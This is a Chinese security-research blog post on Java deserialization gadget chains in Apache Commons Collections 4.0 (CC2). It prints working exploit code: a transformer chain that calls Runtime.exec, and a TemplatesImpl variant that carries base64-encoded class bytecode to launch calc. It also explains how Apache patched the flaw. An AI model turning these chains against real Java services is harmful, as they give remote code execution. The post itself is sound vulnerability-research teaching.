Java反序列化漏洞——CommonsCollections4.0版本—CC2、CC4

news2024/11/16 9:24:48

一、概述

4.0版本的CommonsCollections对之前的版本做了一定的更改,那么之前的CC链反序列化再4版本中是否可用呢。

实际上是可用的,比如CC6的链,引入的时候因为⽼的Gadget中依赖的包名都是org.apache.commons.collections ,⽽新的包名已经变

了,是org.apache.commons.collections4 。

  • 我们⽤已经熟悉的CommonsCollections6利⽤链做个例⼦,我们直接把代码拷⻉⼀遍,然后将所有import org.apache.commons.collections.*改成import org.apache.commons.collections4.*

  • 并且新版本中去掉了decorat方法,替代的是lazyMap方法

其他的代码不需要改变,即可创建出新版本下的利用链。

同理CC1、CC3的链也是一样的调整,修改后均可在commonscollections4中使用。

二、新链

1.CommonsCollections2——PriorityQueu

在CommonsCollections2中用到了两个关键的类:

  • java.util.PriorityQueue

  • org.apache.commons.collections4.comparators.TransformingComparator

其中java.util.PriorityQueue的readObject()方法调用了heapify()

org.apache.commons.collections4.comparators.TransformingComparator中的compare()方法调⽤到transform() ⽅法

所以,CommonsCollections2实际就是⼀条从PriorityQueue 到TransformingComparator 的利⽤链

PriorityQueue#readObject()--> heapify() --> siftDown() --> siftDownUsingComparator() --> comparator.compare() --> TransformingComparator#compare()

总结一下:

  • java.util.PriorityQueue 是⼀个优先队列(Queue),基于⼆叉堆实现,队列中每⼀个元素有⾃⼰的优先级,节点之间按照优先级⼤⼩排序成⼀棵树

  • 反序列化时为什么需要调⽤heapify() ⽅法?为了反序列化后,需要恢复(换⾔之,保证)这个结构的顺序

  • 排序是靠将⼤的元素下移实现的。siftDown() 是将节点下移的函数,⽽comparator.compare() ⽤来⽐较两个元素⼤⼩

  • TransformingComparator 实现了java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如何进⾏⽐较。siftDownUsingComparator() 中就使⽤这个接⼝的compare() ⽅法⽐较树的节点。

代码如下:

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2 {
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        //创建一个TransformingComparator,传入我们创建的transformerChain
        Comparator comparator = new TransformingComparator(transformerChain);

        //实例化PriorityQueue 对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较,所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator
        PriorityQueue queue = new PriorityQueue(2, comparator);

        //后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的
        queue.add(1);
        queue.add(2);

        //最后,将真正的恶意Transformer设置上
        setFieldValue(transformerChain, "iTransformers", transformers);

        SeriallizationTest.serizlize(queue);
        UnSerializeTest.unserialize("test.bin");

    }
}

改造无数组链:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2_TemplatesImpl {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "test");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        //创建⼀个⼈畜⽆害的InvokerTransformer 对象,并⽤它实例化Comparator
        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);

        //实例化PriorityQueue 对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较,所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator
        PriorityQueue queue = new PriorityQueue(2,comparator);

        //如何为了我们调试的时候避免发生命令执行,往里面加入两个无用的值。
        queue.add(1);
        queue.add(1);

        //最后,将真正的恶意Transformer设置上
        setFieldValue(transformer, "iMethodName", "newTransformer");

        //反射获取queue对象中queue的参数强转赋值给queueArray,并且修改其中的值为我们实际的TemplatesImpl对象。
//        Field queuefield = queue.getClass().getDeclaredField("queue");
//        queuefield.setAccessible(true);
//        Object[] queueArray = (Object[]) queuefield.get(queue);
//        queueArray[0] = obj;
//        queueArray[1] = 1;
        setFieldValue(queue, "queue", new Object[]{obj, obj});

//        SeriallizationTest.serizlize(queue);
        UnSerializeTest.unserialize("test.bin");
    }
}

三、思考

1.PriorityQueue的利⽤链是否⽀持在commons-collections 3中使⽤?

  • 答案不能。因为这条利⽤链中的关键类org.apache.commons.collections4.comparators.TransformingComparator ,在commonscollections4.0以前是版本中是没有实现Serializable 接⼝的,⽆法在序列化中使⽤。

2.Apache Commons Collections官⽅是如何修复反序列化漏洞的?

  • Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2。

  • 在3.2.2中新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization ,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true ,即默认情况下会抛出异常。

  • 4.1中,这⼏个危险Transformer类不再实现Serializable 接⼝,也就是说,他们⼏个彻底⽆法序列化和反序列化了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/355015.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【构建工具】Gradle中文教程

文章目录Gradle 简介Gradle 概述基于声明的构建和基于约定的构建为以依赖为基础的编程方式提供语言支持构建结构化深度 APIGradle 的扩展多项目构建多种方式管理依赖Gradle 是第一个构建集成工具易于移植GroovyThe Gradle wrapper自由和开源为什么使用 Groovy?Gradle 安装先决…

Pycharm搭建一个Django项目

File->new project 点击create, 等待一下即可 查看安装 Django 版本: 在 Pycharm 底部选择 Terminal 然后在里面输入:python -m django --version 启动项目: 在 Terminal 里面输入: python manage.py runserver 查看文件目…

一文精通MVCC机制

MVCC(Multi-Version Concurrency Control)多版本并发控制机制使用串行化隔离级别时,mysql会将所有的操作加锁互斥,来保证并发安全。这种方式必然降低并发性能。mysql在读已提交和可重复读隔离级别下,对一行数据的读和写两个操作默认是不会通过…

【Unity3d】Unity与iOS之间通信

在unity开发或者sdk开发经常遇到unity与移动端原生层之间进行通信,这里把它们之间通信做一个整理。 关于Unity与Android之间通信,参考【Unity3d】Unity与Android之间通信 Unity调用Objective-C 主要分三个步骤: (一)、在xcode中定义要被u…

php学习笔记

之前看过php的基础教学视频,了解了一下,自己没有上手实践,现在为了项目需要,需要扎实学习一下,所以做一下笔记吧。 php学习笔记1.基础2.动态网站的开发学习2.1会员管理系统1.基础 之前看过一个4小时的基础视频&#x…

Go 数组和切片反思

切片的底层数据结构是数组,所以,切片是基于数组的上层封装,使用数组的场景,也完全可以使用切片。 类型比较 我看到 go 1.17 有对切片和数组转换的优化,禁不住纳闷,有什么场景是必须数组来完成的呢&#x…

vue项目第七天

项目中模块操做业务使用ajax(需要使用接口认证)修改封装的findData发送ajax请求管理员列表内部搜索业务复用之前的findData 方法即可实现整个查询业务。实现退出业务在下拉菜单上添加事件以及属性。用户退出登录,二次登录系统菜单可能不存在的…

linux环境搭建私有gitlab仓库

搭建之前,需要安装相应的依赖包,并且要启动sshd服务(1).安装policycoreutils-python openssh-server openssh-clients [rootVM-0-2-centos ~]# sudo yum install -y curl policycoreutils-python openssh-server openssh-clients [rootVM-0-2-centos ~]…

(API)接口测试的关键技术

接口测试也就是API测试,从名字上可以知道是面向接口的测试活动。所以在讲API测试之前,我们应该说清楚接口是什么,那么接口就是有特定输入和特定输出的一套逻辑处理单元,而对于接口调用方来说,不用知道自身的内部实现逻…

Spring 中经典的 9 种设计模式

1.简单工厂(非23种设计模式中的一种) 2.工厂方法 3.单例模式 4.适配器模式 5.装饰器模式 6.代理模式 7.观察者模式 8.策略模式 9.模版方法模式 Spring中涉及的设计模式总结 1.简单工厂(非23种设计模式中的一种) 实现方式: BeanFactory。Spring中的BeanFa…

Android 初代 K-V 存储框架 SharedPreferences,旧时代的余晖?

本文已收录到 AndroidFamily,技术和职场问题,请关注公众号 [彭旭锐] 提问。 前言 大家好,我是小彭。 SharedPreferences 是 Android 平台上轻量级的 K-V 存储框架,亦是初代 K-V 存储框架,至今被很多应用沿用。 有的…

【C语言】大小端字节序问题

一、大小端字节序问题 大小端是由CPU决定的,大小端可以理解为字节顺序,所以大小端全称叫大端字节序、小端字节序。其实大端、小端这两个词是从《格列佛游记》里出来的。《格列佛游记》有一段讲的是吃鸡蛋是从大的那头敲开还是小的那头敲开的问题&#xf…

拯救了大批爬虫程序员,因为一个简单的神器

相信大家应该都写过爬虫,简单的爬虫只需要使用 requests 即可。遇到复杂的爬虫,就需要在程序里面加上请求头和参数信息。类似这种:我们一般的步骤是,先到浏览器的网络请求中找到我们需要的请求,然后将请求头和参数信息…

CI/CD --- 什么才是真正的自动化平台

近2年在软件开发中比较火的两个术语,一个是敏捷开发,另外一个就是CI/CD了;敏捷开发顾名思义就是“以用户的需求进化为核心,采用迭代、循序渐进的方法进行软件开发”。那CI/CD(Continuous Integration、 Continuous Del…

自抗扰控制ADRC之微分器TD

目录 前言 1 全程快速微分器 1.1仿真分析 1.2仿真模型 1.3仿真结果 1.4结论 2 Levant微分器 2.1仿真分析 2.2仿真模型 2.3仿真结果 3.总结 前言 工程上信号的微分是难以得到的,所以本文采用微分器实现带有噪声的信号及其微分信号提取,从而实现…

0216-0218复习:继承

目录 继承 一、基本介绍 二、示意图 三、基本语法 四、入门案例 父类 子类1 子类2 main方法 五、继承细节 第一条 第二条 第三条 第四条 ​编辑 第五条 第六条 第七条 第八条 第九条 第十条 六、继承本质 七、练习题 第三题 继承 一、基本介绍 继承可以…

RAY - 小记

文章目录关于 RAYRAY 结构关于 RAY Ray is a unified framework for scaling AI and Python applications. Ray consists of a core distributed runtime and a toolkit of libraries (Ray AIR) for accelerating ML workloads. RAY 是一个简单、通用的分布式计算框架。 RAY 解…

TikTok话题量超30亿,这款承载美好记忆的剪贴簿引发讨论

回忆风剪贴簿在TikTok引起关注小超在浏览超店有数后台时发现,有一款平平无奇的剪贴簿的种草视频爆火,在24h内收获了9.9K点赞,播放量更是突破了100W,直接冲到了【种草视频飙升榜】第六名的位置,并且这个数字目前仍在继续…

利用5G工业网关实现工业数字化的工业互联网解决方案

5G工业网关是一种用于将工业生产环境中的数据连接到工业互联网的解决方案。它可以利用高带宽、高速率、低时延的5G网络连接工业现场的PLC、传感器、工业设备和云端数据中心,从而实现工业数字化。 物通博联工业互联网解决方案 物通博联5G工业网关的使用步骤&#x…

XXL-JOB分布式任务调度框架(二)-策略详解

文章目录1.引言2.任务详解2.1.执行器2.2.基础配置3.路由策略(第一个)-案例4.路由策略(最后一个)-案例5.轮询策略-案例6.随机选取7.轮询选取8.一致性hash9.最不经常使用 (LFU)10.最近最久未使用(LRU)11.故障转移12.忙碌转移7.分片广播任务1.引言 本篇文章…